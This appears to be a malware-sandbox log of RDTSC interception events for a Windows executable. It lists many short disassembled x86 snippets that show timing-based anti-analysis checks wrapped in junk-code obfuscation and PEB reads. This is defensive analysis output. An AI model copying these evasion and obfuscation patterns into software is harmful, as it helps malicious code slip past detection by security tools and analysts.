Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AA14E5 second address: AA14FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F87A450AC75h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AA14FF second address: AA1510 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F87A4B0387Ah 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push edi 0x0000000b pop edi 0x0000000c push ecx 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AA32FF second address: AA3318 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A450AC6Eh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AA3318 second address: AA331E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AA331E second address: AA333F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F87A450AC71h 0x00000009 popad 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e popad 0x0000000f pushad 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AA773D second address: AA7741 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AA7741 second address: AA775B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F87A450AC66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007F87A450AC6Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AA780F second address: AA7813 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AA7813 second address: AA7852 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F87A450AC66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c mov dx, 1321h 0x00000010 push 00000004h 0x00000012 mov dx, A0A3h 0x00000016 mov dx, si 0x00000019 push 32C295C4h 0x0000001e pushad 0x0000001f jmp 00007F87A450AC72h 0x00000024 pushad 0x00000025 jmp 00007F87A450AC6Bh 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AA7ADD second address: AA7B49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007F87A4B03878h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 00000015h 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 xor edx, 00258D38h 0x00000029 and edx, 7913BC57h 0x0000002f push dword ptr [ebp+122D33C3h] 0x00000035 push 00000000h 0x00000037 push edi 0x00000038 call 00007F87A4B03878h 0x0000003d pop edi 0x0000003e mov dword ptr [esp+04h], edi 0x00000042 add dword ptr [esp+04h], 00000018h 0x0000004a inc edi 0x0000004b push edi 0x0000004c ret 0x0000004d pop edi 0x0000004e ret 0x0000004f xor dword ptr [ebp+122D2864h], esi 0x00000055 call 00007F87A4B03879h 0x0000005a pushad 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AA7B49 second address: AA7B4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AA7B4D second address: AA7BA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A4B03881h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007F87A4B0387Ch 0x0000000f js 00007F87A4B03876h 0x00000015 popad 0x00000016 push eax 0x00000017 pushad 0x00000018 jp 00007F87A4B0387Ch 0x0000001e push ebx 0x0000001f pushad 0x00000020 popad 0x00000021 pop ebx 0x00000022 popad 0x00000023 mov eax, dword ptr [esp+04h] 0x00000027 jmp 00007F87A4B03884h 0x0000002c mov eax, dword ptr [eax] 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AA7BA1 second address: AA7BA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AA7BA5 second address: AA7BA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AA7BA9 second address: AA7BC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c popad 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 jo 00007F87A450AC74h 0x00000017 push eax 0x00000018 push edx 0x00000019 jng 00007F87A450AC66h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AA8F03 second address: AA8F12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 js 00007F87A4B03876h 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AA8F12 second address: AA8F22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F87A450AC6Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AAAF75 second address: AAAF79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AAAF79 second address: AAAFA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F87A450AC73h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F87A450AC6Bh 0x00000012 jng 00007F87A450AC66h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AAAFA5 second address: AAAFB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 je 00007F87A4B03876h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AAAFB6 second address: AAAFCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F87A450AC6Bh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AAAAFE second address: AAAB32 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A4B03883h 0x00000007 jmp 00007F87A4B03887h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AAAB32 second address: AAAB36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AAAB36 second address: AAAB49 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F87A4B03876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: AACB65 second address: AACB6F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F87A450AC66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4DB0544 second address: 4DB0451 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A4B03889h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call dword ptr [7629188Ch] 0x0000000f mov edi, edi 0x00000011 push ebp 0x00000012 mov ebp, esp 0x00000014 push ecx 0x00000015 mov ecx, dword ptr [7FFE0004h] 0x0000001b mov dword ptr [ebp-04h], ecx 0x0000001e cmp ecx, 01000000h 0x00000024 jc 00007F87A4B35355h 0x0000002a mov eax, 7FFE0320h 0x0000002f mov eax, dword ptr [eax] 0x00000031 mul ecx 0x00000033 shrd eax, edx, 00000018h 0x00000037 mov esp, ebp 0x00000039 pop ebp 0x0000003a ret 0x0000003b pushad 0x0000003c popad 0x0000003d pop ecx 0x0000003e jmp 00007F87A4B03884h 0x00000043 ret 0x00000044 nop 0x00000045 xor esi, eax 0x00000047 lea eax, dword ptr [ebp-10h] 0x0000004a push eax 0x0000004b call 00007F87A94B071Ah 0x00000050 mov edi, edi 0x00000052 pushad 0x00000053 mov edi, eax 0x00000055 popad 0x00000056 push ebx 0x00000057 push eax 0x00000058 push edx 0x00000059 jmp 00007F87A4B03885h 0x0000005e rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4DB0451 second address: 4DB0479 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 mov ecx, ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F87A450AC77h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4DB0479 second address: 4DB047D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4DB047D second address: 4DB0483 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4DB0483 second address: 4DB0492 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F87A4B0387Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4DB0492 second address: 4DB04B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007F87A450AC6Eh 0x00000012 pop eax 0x00000013 mov esi, ebx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4DB04B1 second address: 4DB04FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F87A4B0387Ah 0x00000009 xor ah, 00000068h 0x0000000c jmp 00007F87A4B0387Bh 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pop ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F87A4B0387Eh 0x0000001f sub eax, 65CBB0C8h 0x00000025 jmp 00007F87A4B0387Bh 0x0000002a popfd 0x0000002b mov ax, 563Fh 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4DB04FB second address: 4DB0501 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D6007E second address: 4D60084 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60084 second address: 4D600B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A450AC73h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F87A450AC70h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D600B3 second address: 4D600B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D600B9 second address: 4D60129 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A450AC6Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000030h] 0x0000000f jmp 00007F87A450AC70h 0x00000014 sub esp, 18h 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F87A450AC6Eh 0x0000001e jmp 00007F87A450AC75h 0x00000023 popfd 0x00000024 mov ebx, ecx 0x00000026 popad 0x00000027 xchg eax, ebx 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F87A450AC79h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60129 second address: 4D6014D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A4B03881h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F87A4B0387Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D6014D second address: 4D6019C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F87A450AC71h 0x00000009 adc ax, D5B6h 0x0000000e jmp 00007F87A450AC71h 0x00000013 popfd 0x00000014 call 00007F87A450AC70h 0x00000019 pop esi 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F87A450AC6Ch 0x00000025 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D6019C second address: 4D601A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D601A2 second address: 4D601A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D601A6 second address: 4D601AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D601AA second address: 4D60230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, dword ptr [eax+10h] 0x0000000b pushad 0x0000000c mov dh, cl 0x0000000e popad 0x0000000f push ebp 0x00000010 jmp 00007F87A450AC6Ah 0x00000015 mov dword ptr [esp], esi 0x00000018 pushad 0x00000019 mov cx, dx 0x0000001c popad 0x0000001d mov esi, dword ptr [762C06ECh] 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007F87A450AC75h 0x0000002a sbb si, A486h 0x0000002f jmp 00007F87A450AC71h 0x00000034 popfd 0x00000035 pushfd 0x00000036 jmp 00007F87A450AC70h 0x0000003b jmp 00007F87A450AC75h 0x00000040 popfd 0x00000041 popad 0x00000042 test esi, esi 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60230 second address: 4D60234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60234 second address: 4D60238 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60238 second address: 4D6023E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D6023E second address: 4D602A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F87A450AC70h 0x00000009 jmp 00007F87A450AC75h 0x0000000e popfd 0x0000000f call 00007F87A450AC70h 0x00000014 pop ecx 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 jne 00007F87A450BB99h 0x0000001e jmp 00007F87A450AC71h 0x00000023 xchg eax, edi 0x00000024 jmp 00007F87A450AC6Eh 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D602A9 second address: 4D602AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D602AF second address: 4D602C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, edi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c movzx esi, dx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D602C0 second address: 4D602C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D602C5 second address: 4D602CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D602CA second address: 4D602E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bx, si 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a call dword ptr [76290B60h] 0x00000010 mov eax, 75A0E5E0h 0x00000015 ret 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov edx, 3B7F2FB4h 0x0000001e movsx edx, cx 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D602E6 second address: 4D6032B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A450AC6Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 00000044h 0x0000000b jmp 00007F87A450AC76h 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F87A450AC77h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D6032B second address: 4D60331 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60331 second address: 4D603CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007F87A450AC6Ch 0x0000000e mov dword ptr [esp], edi 0x00000011 pushad 0x00000012 pushad 0x00000013 movzx ecx, bx 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 pushfd 0x0000001a jmp 00007F87A450AC6Fh 0x0000001f adc cx, 436Eh 0x00000024 jmp 00007F87A450AC79h 0x00000029 popfd 0x0000002a popad 0x0000002b push dword ptr [eax] 0x0000002d pushad 0x0000002e mov esi, 26937993h 0x00000033 pushfd 0x00000034 jmp 00007F87A450AC78h 0x00000039 xor ecx, 25786A18h 0x0000003f jmp 00007F87A450AC6Bh 0x00000044 popfd 0x00000045 popad 0x00000046 mov eax, dword ptr fs:[00000030h] 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007F87A450AC70h 0x00000055 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D603CF second address: 4D603DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A4B0387Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D6042E second address: 4D6047B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F87A450AC6Eh 0x00000008 pushfd 0x00000009 jmp 00007F87A450AC72h 0x0000000e or ecx, 7211B2C8h 0x00000014 jmp 00007F87A450AC6Bh 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov esi, eax 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 call 00007F87A450AC6Bh 0x00000027 pop esi 0x00000028 push edx 0x00000029 pop esi 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D6047B second address: 4D6050B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F87A4B03880h 0x00000009 sub ax, 3858h 0x0000000e jmp 00007F87A4B0387Bh 0x00000013 popfd 0x00000014 mov edx, ecx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 test esi, esi 0x0000001b pushad 0x0000001c jmp 00007F87A4B03880h 0x00000021 jmp 00007F87A4B03882h 0x00000026 popad 0x00000027 je 00007F8815FE2A53h 0x0000002d pushad 0x0000002e jmp 00007F87A4B0387Eh 0x00000033 pushfd 0x00000034 jmp 00007F87A4B03882h 0x00000039 or ch, 00000048h 0x0000003c jmp 00007F87A4B0387Bh 0x00000041 popfd 0x00000042 popad 0x00000043 sub eax, eax 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D6050B second address: 4D6050F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D6050F second address: 4D6051F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A4B0387Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D6051F second address: 4D60525 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60525 second address: 4D60535 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi], edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60535 second address: 4D60539 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60539 second address: 4D6053D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D6053D second address: 4D60543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60543 second address: 4D60565 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A4B0387Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov edi, 5713849Eh 0x00000014 mov edi, 4D2F4CAAh 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D60565 second address: 4D6056B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D6056B second address: 4D6059D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+08h], eax 0x0000000b jmp 00007F87A4B03886h 0x00000010 mov dword ptr [esi+0Ch], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F87A4B0387Ah 0x0000001c rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D6059D second address: 4D605A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D605A1 second address: 4D605A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 4D605A7 second address: 4D605D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A450AC6Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+4Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F87A450AC77h 0x00000013 rdtsc
